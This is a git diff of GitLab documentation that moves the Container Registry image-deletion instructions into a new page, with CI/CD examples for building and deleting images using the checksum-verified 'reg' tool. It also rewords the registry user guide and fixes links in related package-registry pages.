+stage: Package
+group: Container Registry
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Delete container images from the Container Registry **(FREE)**
+
+You can delete container images from your Container Registry.
+
+WARNING:
+Deleting container images is a destructive action and can't be undone. To restore
+a deleted container image, you must rebuild and re-upload it.
+
+Deleting a container image on self-managed instances doesn't free up storage space, it only marks the image
+as eligible for deletion. To actually delete unreferenced container images and recover storage space, administrators
+must run [garbage collection](../../../administration/packages/container_registry.md#container-registry-garbage-collection).
+
+On GitLab.com, the latest version of the Container Registry includes an automatic online garbage
+collector. For more information, see [this blog post](https://about.gitlab.com/blog/2021/10/25/gitlab-com-container-registry-update/).
+The automatic online garbage collector is an instance-wide feature, rolling out gradually to a subset
+of the user base. Some new container image repositories created from GitLab 14.5 onward are served by this
+new version of the Container Registry. In this new version of the Container Registry, layers that aren't
+referenced by any image manifest, and image manifests that have no tags and aren't referenced by another
+manifest (such as multi-architecture images), are automatically scheduled for deletion after 24 hours if
+left unreferenced.
+
+## Use the GitLab UI
+
+To delete container images using the GitLab UI:
+
+1. On the top bar, select **Main menu**, and:
+ - For a project, select **Projects** and find your project.
+ - For a group, select **Groups** and find your group.
+1. On the left sidebar, select **Packages and registries > Container Registry**.
+1. From the **Container Registry** page, you can select what you want to delete,
+ by either:
+
+ - Deleting the entire repository, and all the tags it contains, by selecting
+ the red **{remove}** **Trash** icon.
+ - Navigating to the repository, and deleting tags individually or in bulk
+ by selecting the red **{remove}** **Trash** icon next to the tag you want
+ to delete.
+
+1. In the dialog box, select **Remove tag**.
+
+## Use the GitLab API
+
+You can use the API to automate the process of deleting container images. For more
+information, see the following endpoints:
+
+- [Delete a Registry repository](../../../api/container_registry.md#delete-registry-repository)
+- [Delete an individual Registry repository tag](../../../api/container_registry.md#delete-a-registry-repository-tag)
+- [Delete Registry repository tags in bulk](../../../api/container_registry.md#delete-registry-repository-tags-in-bulk)
+
+## Use GitLab CI/CD
+
+NOTE:
+GitLab CI/CD doesn't provide a built-in way to remove your container images. This example uses a
+third-party tool called [reg](https://github.com/genuinetools/reg) that talks to the GitLab Registry API.
+For assistance with this third-party tool, see [the issue queue for reg](https://github.com/genuinetools/reg/issues).
+
+The following example defines two stages: `build`, and `clean`. The `build_image` job builds a container
+image for the branch, and the `delete_image` job deletes it. The `reg` executable is downloaded and used to
+remove the container image matching the `$CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG`
+[predefined CI/CD variable](../../../ci/variables/predefined_variables.md).
+
+To use this example, change the `IMAGE_TAG` variable to match your needs.
+
+```yaml
+stages:
+ - build
+ - clean
+
+build_image:
+ image: docker:20.10.16
+ stage: build
+ services:
+ - docker:20.10.16-dind
+ variables:
+ IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+ - docker build -t $IMAGE_TAG .
+ - docker push $IMAGE_TAG
+ only:
+ - branches
+ except:
+ - main
+
+delete_image:
+ before_script:
+ - curl --fail --show-error --location "https://github.com/genuinetools/reg/releases/download/v$REG_VERSION/reg-linux-amd64" --output ./reg
+ - echo "$REG_SHA256 ./reg" | sha256sum -c -
+ - chmod a+x ./reg
+ image: curlimages/curl:7.86.0
+ script:
+ - ./reg rm -d --auth-url $CI_REGISTRY -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $IMAGE_TAG
+ stage: clean
+ variables:
+ IMAGE_TAG: $CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG
+ REG_SHA256: ade837fc5224acd8c34732bf54a94f579b47851cc6a7fd5899a98386b782e228
+ REG_VERSION: 0.16.1
+ only:
+ - branches
+ except:
+ - main
+```
+
+NOTE:
+You can download the latest `reg` release from [the releases page](https://github.com/genuinetools/reg/releases), then update
+the code example by changing the `REG_SHA256` and `REG_VERSION` variables defined in the `delete_image` job.
+
+## Use a cleanup policy
+
+You can create a per-project [cleanup policy](reduce_container_registry_storage.md#cleanup-policy) to ensure older tags and
+images are regularly removed from the Container Registry.
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index 4b4d6190dc2..c3790c252cc 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -8,84 +8,86 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> Searching by image repository name was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31322) in GitLab 13.0.
-NOTE:
-If you pull container images from Docker Hub, you can use the [GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images)
-to avoid rate limits and speed up your pipelines.
-
-With the Docker Container Registry integrated into GitLab, every GitLab project can
-have its own space to store its Docker images.
+You can use the integrated Container Registry to store container images for each GitLab project
-You can read more about Docker Registry at <https://docs.docker.com/registry/introduction/>.
+To enable the Container Registry for your GitLab instance, see the [administrator documentation](../../../administration/packages/container_registry.md).
-This document is the user guide. To learn how to enable the Container
-Registry for your GitLab instance, visit the
-[administrator documentation](../../../administration/packages/container_registry.md).
+NOTE:
+If you pull Docker container images from Docker Hub, you can use the
+[GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images) to avoid
+rate limits and speed up your pipelines. For more information about the Docker Registry, see <https://docs.docker.com/registry/introduction/>.
## View the Container Registry
You can view the Container Registry for a project or group.
-1. Go to your project or group.
-1. Go to **Packages and registries > Container Registry**.
+1. On the top bar, select **Main menu**, and:
+ - For a project, select **Projects** and find your project.
+ - For a group, select **Groups** and find your group.
+1. On the left sidebar, select **Packages and registries > Container Registry**.
-You can search, sort, filter, and [delete](#delete-images-using-the-gitlab-ui)
-containers on this page. You can share a filtered view by copying the URL from your browser.
+You can search, sort, filter, and [delete](delete_container_registry_images.md#use-the-gitlab-ui)
+ your container images. You can share a filtered view by copying the URL from your browser.
-Only members of the project or group can access a private project's Container Registry.
-Images downloaded from a private registry may be [available to other users in a shared runner](https://docs.gitlab.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy).
+Only members of the project or group can access the Container Registry for a private project.
+Container images downloaded from a private registry may be [available to other users in a shared runner](https://docs.gitlab.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy).
-If a project is public, so is the Container Registry.
+If a project is public, the Container Registry is also public.
-### View the tags of a specific image
+### View the tags of a specific container image in the Container Registry
You can use the Container Registry **Tag Details** page to view a list of tags associated with a given container image:
-1. Go to your project or group.
-1. Go to **Packages and registries > Container Registry**.
-1. Select the container image you are interested in.
+1. On the top bar, select **Main menu**, and:
+ - For a project, select **Projects** and find your project.
+ - For a group, select **Groups** and find your group.
+1. On the left sidebar, select **Packages and registries > Container Registry**.
+1. Select your container image.
You can view details about each tag, such as when it was published, how much storage it consumes,
and the manifest and configuration digests.
-You can search, sort (by tag name), filter, and [delete](#delete-images-using-the-gitlab-ui)
+You can search, sort (by tag name), filter, and [delete](delete_container_registry_images.md#use-the-gitlab-ui)
tags on this page. You can share a filtered view by copying the URL from your browser.
-## Use images from the Container Registry
+## Use container images from the Container Registry
-To download and run a container image hosted in the GitLab Container Registry:
+To download and run a container image hosted in the Container Registry:
-1. Copy the link to your container image:
- - Go to your project or group's **Packages and registries > Container Registry**
- and find the image you want.
- - Next to the image name, select **Copy**.
+1. On the top bar, select **Main menu**, and:
+ - For a project, select **Projects** and find your project.
+ - For a group, select **Groups** and find your group.
+1. On the left sidebar, select **Packages and registries > Container Registry**.
+1. Find the container image you want to work with and select **Copy**.
![Container Registry image URL](img/container_registry_hover_path_13_4.png)
-1. Use `docker run` with the image link:
+1. Use `docker run` with the copied link:
```shell
docker run [options] registry.example.com/group/project/image [arguments]
```
-[Authentication](#authenticate-with-the-container-registry) is needed to download images from a private repository.
+NOTE:
+You must [authenticate with the container registry](authenticate_with_container_registry.md) to download
+container images from a private repository.
-For more information on running Docker containers, visit the
-[Docker documentation](https://docs.docker.com/get-started/).
+For more information on running container images, visit the [Docker documentation](https://docs.docker.com/get-started/).
-## Image naming convention
+## Naming convention for your container images
-Images follow this naming convention:
+Your container images must follow this naming convention:
```plaintext
<registry URL>/<namespace>/<project>/<image>
```
-If your project is `gitlab.example.com/mynamespace/myproject`, for example,
-then your image must be named `gitlab.example.com/mynamespace/myproject` at a minimum.
+For example, if your project is `gitlab.example.com/mynamespace/myproject`,
+then your container image must be named `gitlab.example.com/mynamespace/myproject`.
-You can append additional names to the end of an image name, up to two levels deep.
+You can append additional names to the end of a container image name, up to two levels deep.
-For example, these are all valid image names for images in the project named `myproject`:
+For example, these are all valid names for container images in the project named `myproject`:
```plaintext
registry.example.com/mynamespace/myproject:some-tag
@@ -99,399 +101,12 @@ registry.example.com/mynamespace/myproject/image:latest
registry.example.com/mynamespace/myproject/my/image:rc1
```
-## Authenticate with the Container Registry
-
-To authenticate with the Container Registry, you can use a:
-
-- [Personal access token](../../profile/personal_access_tokens.md).
-- [Deploy token](../../project/deploy_tokens/index.md).
-- [Project access token](../../project/settings/project_access_tokens.md).
-- [Group access token](../../group/settings/group_access_tokens.md).
-
-All of these require the minimum scope to be:
-
-- For read (pull) access, `read_registry`.
-- For write (push) access, `write_registry` & `read_registry`.
-
-To authenticate, run the `docker` command. For example:
-
- ```shell
- docker login registry.example.com -u <username> -p <token>
- ```
-
-## Build and push images by using Docker commands
-
-Before you can build and push images, you must [authenticate](#authenticate-with-the-container-registry) with the Container Registry.
-
-To build and push to the Container Registry:
-
-1. Authenticate with the Container Registry.
-
-1. Run the command to build or push. For example, to build:
-
- ```shell
- docker build -t registry.example.com/group/project/image .
- ```
-
- Or to push:
-
- ```shell
- docker push registry.example.com/group/project/image
- ```
-
-To view these commands, go to your project's **Packages and registries > Container Registry**.
-
-## Build and push by using GitLab CI/CD
-
-Use [GitLab CI/CD](../../../ci/yaml/index.md) to build and push images to the
-Container Registry. Use it to test, build, and deploy your project from the Docker
-image you created.
-
-### Authenticate by using GitLab CI/CD
-
-Before you can build and push images by using GitLab CI/CD, you must authenticate with the Container Registry.
-
-To use CI/CD to authenticate, you can use:
-
-- The `CI_REGISTRY_USER` CI/CD variable.
-
- This variable has read-write access to the Container Registry and is valid for
- one job only. Its password is also automatically created and assigned to `CI_REGISTRY_PASSWORD`.
-
- ```shell
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- ```
-
-- A [CI job token](../../../ci/jobs/ci_job_token.md).
-
- ```shell
- docker login -u $CI_REGISTRY_USER -p $CI_JOB_TOKEN $CI_REGISTRY
- ```
-
-- A [deploy token](../../project/deploy_tokens/index.md#gitlab-deploy-token) with the minimum scope of:
- - For read (pull) access, `read_registry`.
- - For write (push) access, `write_registry`.
-
- ```shell
- docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY
- ```
-
-- A [personal access token](../../profile/personal_access_tokens.md) with the minimum scope of:
- - For read (pull) access, `read_registry`.
- - For write (push) access, `write_registry`.
-
- ```shell
- docker login -u <username> -p <access_token> $CI_REGISTRY
- ```
-
-### Configure your `.gitlab-ci.yml` file
-
-You can configure your `.gitlab-ci.yml` file to build and push images to the Container Registry.
-
-- If multiple jobs require authentication, put the authentication command in the `before_script`.
-- Before building, use `docker build --pull` to fetch changes to base images. It takes slightly
- longer, but it ensures your image is up-to-date.
-- Before each `docker run`, do an explicit `docker pull` to fetch
- the image that was just built. This step is especially important if you are
- using multiple runners that cache images locally.
-
- If you use the Git SHA in your image tag, each job is unique and you
- should never have a stale image. However, it's still possible to have a
- stale image if you rebuild a given commit after a dependency has changed.
-- Don't build directly to the `latest` tag because multiple jobs may be
- happening simultaneously.
-
-### Container Registry examples with GitLab CI/CD
-
-If you're using Docker-in-Docker on your runners, this is how your `.gitlab-ci.yml`
-should look:
-
-```yaml
-build:
- image: docker:20.10.16
- stage: build
- services:
- - docker:20.10.16-dind
- script:
- - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- - docker build -t $CI_REGISTRY/group/project/image:latest .
- - docker push $CI_REGISTRY/group/project/image:latest
-```
-
-You can also make use of [other CI/CD variables](../../../ci/variables/index.md) to avoid hard-coding:
-
-```yaml
-build:
- image: docker:20.10.16
- stage: build
- services:
- - docker:20.10.16-dind
- variables:
- IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
- script:
- - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- - docker build -t $IMAGE_TAG .
- - docker push $IMAGE_TAG
-```
-
-In this example, `$CI_REGISTRY_IMAGE` resolves to the address of the registry tied
-to this project. `$CI_COMMIT_REF_NAME` resolves to the branch or tag name, which
-can contain forward slashes. Image tags can't contain forward slashes. Use
-`$CI_COMMIT_REF_SLUG` as the image tag. You can declare the variable, `$IMAGE_TAG`,
-combining `$CI_REGISTRY_IMAGE` and `$CI_REGISTRY_IMAGE` to save some typing in the
-`script` section.
-
-Here's a more elaborate example that splits up the tasks into 4 pipeline stages,
-including two tests that run in parallel. The `build` is stored in the container
-registry and used by subsequent stages, downloading the image
-when needed. Changes to `main` also get tagged as `latest` and deployed using
-an application-specific deploy script:
-
-```yaml
-image: docker:20.10.16
-services:
- - docker:20.10.16-dind
-
-stages:
- - build
- - test
- - release
- - deploy
-
-variables:
- # Use TLS https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#tls-enabled
- DOCKER_HOST: tcp://docker:2376
- DOCKER_TLS_CERTDIR: "/certs"
- CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
- CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE:latest
-
-before_script:
- - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
-
-build:
- stage: build
- script:
- - docker build --pull -t $CONTAINER_TEST_IMAGE .
- - docker push $CONTAINER_TEST_IMAGE
-
-test1:
- stage: test
- script:
- - docker pull $CONTAINER_TEST_IMAGE
- - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests
-
-test2:
- stage: test
- script:
- - docker pull $CONTAINER_TEST_IMAGE
- - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test
-
-release-image:
- stage: release
- script:
- - docker pull $CONTAINER_TEST_IMAGE
- - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE
- - docker push $CONTAINER_RELEASE_IMAGE
- only:
- - main
-
-deploy:
- stage: deploy
- script:
- - ./deploy.sh
- only:
- - main
- environment: production
-```
-
-NOTE:
-This example explicitly calls `docker pull`. If you prefer to implicitly pull the
-built image using `image:`, and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html)
-or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor,
-make sure that [`pull_policy`](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work)
-is set to `always`.
-
-### Using a Docker-in-Docker image from your Container Registry
-
-To use your own Docker images for Docker-in-Docker, follow these steps
-in addition to the steps in the
-[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker) section:
-
-1. Update the `image` and `service` to point to your registry.
-1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services).
-
-Below is an example of what your `.gitlab-ci.yml` should look like:
-
-```yaml
-build:
- image: $CI_REGISTRY/group/project/docker:20.10.16
- services:
- - name: $CI_REGISTRY/group/project/docker:20.10.16-dind
- alias: docker
- stage: build
- script:
- - docker build -t my-docker-image .
- - docker run my-docker-image /script/to/run/tests
-```
-
-If you forget to set the service alias, the `docker:20.10.16` image is unable to find the
-`dind` service, and an error like the following is thrown:
-
-```plaintext
-error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
-```
-
-### Using a Docker-in-Docker image with Dependency Proxy
-
-To use your own Docker images with Dependency Proxy, follow these steps
-in addition to the steps in the
-[Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker) section:
-
-1. Update the `image` and `service` to point to your registry.
-1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services).
-
-Below is an example of what your `.gitlab-ci.yml` should look like:
-
-```yaml
-build:
- image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:20.10.16
- services:
- - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind
- alias: docker
- stage: build
- script:
- - docker build -t my-docker-image .
- - docker run my-docker-image /script/to/run/tests
-```
-
-If you forget to set the service alias, the `docker:20.10.16` image is unable to find the
-`dind` service, and an error like the following is thrown:
-
-```plaintext
-error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
-```
-
-## Delete images
-
-You can delete images from your Container Registry in multiple ways.
-
-WARNING:
-Deleting images is a destructive action and can't be undone. To restore
-a deleted image, you must rebuild and re-upload it.
-
-On self-managed instances, deleting an image doesn't free up storage space - it only marks the image
-as eligible for deletion. To actually delete images and recover storage space, in case they're
-unreferenced, administrators must run [garbage collection](../../../administration/packages/container_registry.md#container-registry-garbage-collection).
-
-On GitLab.com, the latest version of the Container Registry includes an automatic online garbage
-collector. For more information, see [this blog post](https://about.gitlab.com/blog/2021/10/25/gitlab-com-container-registry-update/).
-The automatic online garbage collector is an instance-wide feature, rolling out gradually to a subset
-of the user base. Some new image repositories created from GitLab 14.5 onward are served by this
-new version of the Container Registry. In this new version of the Container Registry, layers that aren't
-referenced by any image manifest, and image manifests that have no tags and aren't referenced by another
-manifest (such as multi-architecture images), are automatically scheduled for deletion after 24 hours if
-left unreferenced.
-
-### Delete images using the GitLab UI
-
-To delete images using the GitLab UI:
-
-1. Go to your project's or group's **Packages and registries > Container Registry**.
-1. From the **Container Registry** page, you can select what you want to delete,
- by either:
-
- - Deleting the entire repository, and all the tags it contains, by selecting
- the red **{remove}** **Trash** icon.
- - Navigating to the repository, and deleting tags individually or in bulk
- by selecting the red **{remove}** **Trash** icon next to the tag you want
- to delete.
-
-1. In the dialog box, select **Remove tag**.
-
-### Delete images using the API
-
-If you want to automate the process of deleting images, GitLab provides an API. For more
-information, see the following endpoints:
-
-- [Delete a Registry repository](../../../api/container_registry.md#delete-registry-repository)
-- [Delete an individual Registry repository tag](../../../api/container_registry.md#delete-a-registry-repository-tag)
-- [Delete Registry repository tags in bulk](../../../api/container_registry.md#delete-registry-repository-tags-in-bulk)
-
-### Delete images using GitLab CI/CD
-
-WARNING:
-GitLab CI/CD doesn't provide a built-in way to remove your images. This example
-uses a third-party tool called [reg](https://github.com/genuinetools/reg)
-that talks to the GitLab Registry API. You are responsible for your own actions.
-For assistance with this tool, see
-[the issue queue for reg](https://github.com/genuinetools/reg/issues).
-
-The following example defines two stages: `build`, and `clean`. The
-`build_image` job builds the Docker image for the branch, and the
-`delete_image` job deletes it. The `reg` executable is downloaded and used to
-remove the image matching the `$CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG`
-[predefined CI/CD variable](../../../ci/variables/predefined_variables.md).
-
-To use this example, change the `IMAGE_TAG` variable to match your needs:
-
-```yaml
-stages:
- - build
- - clean
-
-build_image:
- image: docker:20.10.16
- stage: build
- services:
- - docker:20.10.16-dind
- variables:
- IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
- script:
- - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- - docker build -t $IMAGE_TAG .
- - docker push $IMAGE_TAG
- only:
- - branches
- except:
- - main
-
-delete_image:
- before_script:
- - curl --fail --show-error --location "https://github.com/genuinetools/reg/releases/download/v$REG_VERSION/reg-linux-amd64" --output ./reg
- - echo "$REG_SHA256 ./reg" | sha256sum -c -
- - chmod a+x ./reg
- image: curlimages/curl:7.86.0
- script:
- - ./reg rm -d --auth-url $CI_REGISTRY -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $IMAGE_TAG
- stage: clean
- variables:
- IMAGE_TAG: $CI_PROJECT_PATH:$CI_COMMIT_REF_SLUG
- REG_SHA256: ade837fc5224acd8c34732bf54a94f579b47851cc6a7fd5899a98386b782e228
- REG_VERSION: 0.16.1
- only:
- - branches
- except:
- - main
-```
-
-NOTE:
-You can download the latest `reg` release from
-[the releases page](https://github.com/genuinetools/reg/releases), then update
-the code example by changing the `REG_SHA256` and `REG_VERSION` variables
-defined in the `delete_image` job.
-
-### Delete images by using a cleanup policy
-
-You can create a per-project [cleanup policy](reduce_container_registry_storage.md#cleanup-policy) to ensure older tags and images are regularly removed from the
-Container Registry.
-
-## Known issues
+## Move or rename Container Registry repositories
-Moving or renaming existing Container Registry repositories is not supported
-after you have pushed images. The images are stored in a path that matches
-the repository path. To move or rename a repository with a
-Container Registry, you must delete all existing images.
-Community suggestions to work around this known issue have been shared in
+Moving or renaming existing Container Registry repositories is not supported after you have pushed
+container images. The container images are stored in a path that matches the repository path. To move
+or rename a repository with a Container Registry, you must delete all existing container images.
+Community suggestions to work around this known issue are shared in
[issue 18383](https://gitlab.com/gitlab-org/gitlab/-/issues/18383#possible-workaround).
## Disable the Container Registry for a project
@@ -500,7 +115,8 @@ The Container Registry is enabled by default.
You can, however, remove the Container Registry for a project:
-1. Go to your project's **Settings > General** page.
+1. On the top bar, select **Main menu > Projects**.
+1. On the left sidebar, select **Settings > General**.
1. Expand the **Visibility, project features, permissions** section
and disable **Container Registry**.
1. Select **Save changes**.
@@ -514,10 +130,11 @@ The **Packages and registries > Container Registry** entry is removed from the p
By default, the Container Registry is visible to everyone with access to the project.
You can, however, change the visibility of the Container Registry for a project.
-See the [Container Registry visibility permissions](#container-registry-visibility-permissions)
-for more details about the permissions that this setting grants to users.
+For more information about the permissions that this setting grants to users,
+see [Container Registry visibility permissions](#container-registry-visibility-permissions).
-1. Go to your project's **Settings > General** page.
+1. On the top bar, select **Main menu > Projects**.
+1. On the left sidebar, select **Settings > General**.
1. Expand the section **Visibility, project features, permissions**.
1. Under **Container Registry**, select an option from the dropdown list:
@@ -533,19 +150,18 @@ for more details about the permissions that this setting grants to users.
## Container Registry visibility permissions
-The ability to view the Container Registry and pull images is controlled by the Container Registry's
-visibility permissions. You can change this through the [visibility setting on the UI](#change-visibility-of-the-container-registry)
+The ability to view the Container Registry and pull container images is controlled by the Container Registry's
+visibility permissions. You can change the visibility through the [visibility setting on the UI](#change-visibility-of-the-container-registry)
or the [API](../../../api/container_registry.md#change-the-visibility-of-the-container-registry).
-[Other permissions](../../permissions.md)
-such as updating the Container Registry and pushing or deleting images are not affected by
+[Other permissions](../../permissions.md) such as updating the Container Registry and pushing or deleting container images are not affected by
this setting. However, disabling the Container Registry disables all Container Registry operations.
-| | | Anonymous<br/>(Everyone on internet) | Guest | Reporter, Developer, Maintainer, Owner |
-| -------------------- | --------------------- | --------- | ----- | ------------------------------------------ |
-| Public project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | Yes | Yes | Yes |
-| Public project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
-| Internal project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | Yes | Yes |
-| Internal project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
-| Private project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | No | Yes |
-| Private project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
-| Any project with Container Registry `disabled` | All operations on Container Registry | No | No | No |
+| | | Anonymous<br/>(Everyone on internet) | Guest | Reporter, Developer, Maintainer, Owner |
+|-------------------------------------------------------------------------------------------------------------------|-----------------------------------------------|--------------------------------------|-------|----------------------------------------|
+| Public project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | Yes | Yes | Yes |
+| Public project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
+| Internal project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | Yes | Yes |
+| Internal project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
+| Private project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | No | Yes |
+| Private project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes |
+| Any project with Container Registry `disabled` | All operations on Container Registry | No | No | No |
diff --git a/doc/user/packages/container_registry/reduce_container_registry_storage.md b/doc/user/packages/container_registry/reduce_container_registry_storage.md
index cbf9af633ac..15948569cb8 100644
--- a/doc/user/packages/container_registry/reduce_container_registry_storage.md
+++ b/doc/user/packages/container_registry/reduce_container_registry_storage.md
@@ -36,7 +36,7 @@ An image layer is only counted once if:
- You share the image layer across different repositories.
Only layers that are referenced by tagged images are accounted for. Untagged images and any layers
-referenced exclusively by them are subject to [online garbage collection](index.md#delete-images).
+referenced exclusively by them are subject to [online garbage collection](delete_container_registry_images.md).
Untagged images are automatically deleted after 24 hours if they remain unreferenced during that period.
Image layers are stored on the storage backend in the original (usually compressed) format. This
@@ -269,7 +269,7 @@ only if the number of tags being cleaned up is minimal.
Here are some other options you can use to reduce the Container Registry storage used by your project:
-- Use the [GitLab UI](index.md#delete-images)
+- Use the [GitLab UI](delete_container_registry_images.md#use-the-gitlab-ui)
to delete individual image tags or the entire repository containing all the tags.
- Use the API to [delete individual image tags](../../../api/container_registry.md#delete-a-registry-repository-tag).
- Use the API to [delete the entire container registry repository containing all the tags](../../../api/container_registry.md#delete-registry-repository).
diff --git a/doc/user/packages/container_registry/troubleshoot_container_registry.md b/doc/user/packages/container_registry/troubleshoot_container_registry.md
index eac7e0fcacd..68fe430e531 100644
--- a/doc/user/packages/container_registry/troubleshoot_container_registry.md
+++ b/doc/user/packages/container_registry/troubleshoot_container_registry.md
@@ -87,7 +87,7 @@ The following procedure uses these sample project names:
docker tag gitlab.example.com/org/build/sample_project/cr:v2.9.1 gitlab.example.com/new_org/build/new_sample_project/cr:v2.9.1
```
-1. Delete the images in the old project by using the [UI](index.md#delete-images) or [API](../../../api/packages.md#delete-a-project-package).
+1. Delete the images in the old project by using the [UI](delete_container_registry_images.md) or [API](../../../api/packages.md#delete-a-project-package).
There may be a delay while the images are queued and deleted.
1. Change the path or transfer the project:
diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md
index b7a9729c8ba..a1a9d2a4915 100644
--- a/doc/user/packages/dependency_proxy/index.md
+++ b/doc/user/packages/dependency_proxy/index.md
@@ -169,7 +169,7 @@ build:
- docker build -t test .
```
-You can also use [custom CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables) to store and access your personal access token or deploy token.
+You can also use [custom CI/CD variables](../../../ci/variables/index.md#for-a-project) to store and access your personal access token or deploy token.
### Store a Docker image in Dependency Proxy cache
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index c6c2f238564..2d1efd024a0 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -78,7 +78,7 @@ The three endpoints are:
| -------- | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------- |
| Project | `https://gitlab.example.com/api/v4/projects/<project_id>/packages/maven` | Replace `gitlab.example.com` with your domain name. Replace `<project_id>` with your project ID, found on your project's homepage. |
| Group | `https://gitlab.example.com/api/v4/groups/<group_id>/-/packages/maven` | Replace `gitlab.example.com` with your domain name. Replace `<group_id>` with your group ID, found on your group's homepage. |
-| Instance | `https:///gitlab.example.com/api/v4/packages/maven` | Replace `gitlab.example.com` with your domain name. |
+| Instance | `https://gitlab.example.com/api/v4/packages/maven` | Replace `gitlab.example.com` with your domain name. |
### Edit the `pom.xml` for publishing
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index caa305999c5..ab5d652b731 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -151,8 +151,6 @@ Several known issues exist when you allow anyone to pull from the Package Regist
- Project-level endpoints are supported. Group-level and instance-level endpoints are not supported. Support for group-level endpoints is proposed in [issue 383537](https://gitlab.com/gitlab-org/gitlab/-/issues/383537).
- It does not work with the [Composer](../composer_repository/index.md#install-a-composer-package), because Composer only has a group endpoint.
-- It does not work with the [Debian](../debian_repository/index.md#install-a-package) repository. Support for the Debian repository is proposed in [issue 385258](https://gitlab.com/gitlab-org/gitlab/-/issues/385258).
-- It does not work with the [Ruby gems](../rubygems_registry/index.md#install-a-ruby-gem) repository. Support for the Ruby gems repository is proposed in [issue 385259](https://gitlab.com/gitlab-org/gitlab/-/issues/385259).
- It will work with Conan, but using [`conan search`](../conan_repository/index.md#search-for-conan-packages-in-the-package-registry) does not work.
## Accepting contributions
diff --git a/doc/user/packages/package_registry/reduce_package_registry_storage.md b/doc/user/packages/package_registry/reduce_package_registry_storage.md
index 1085cf5c239..673196ebad5 100644
--- a/doc/user/packages/package_registry/reduce_package_registry_storage.md
+++ b/doc/user/packages/package_registry/reduce_package_registry_storage.md
@@ -75,6 +75,8 @@ To access these project settings, you must be at least a maintainer on the relat
to upload more than one copy of an asset. You can limit the number of duplicated assets to keep and automatically
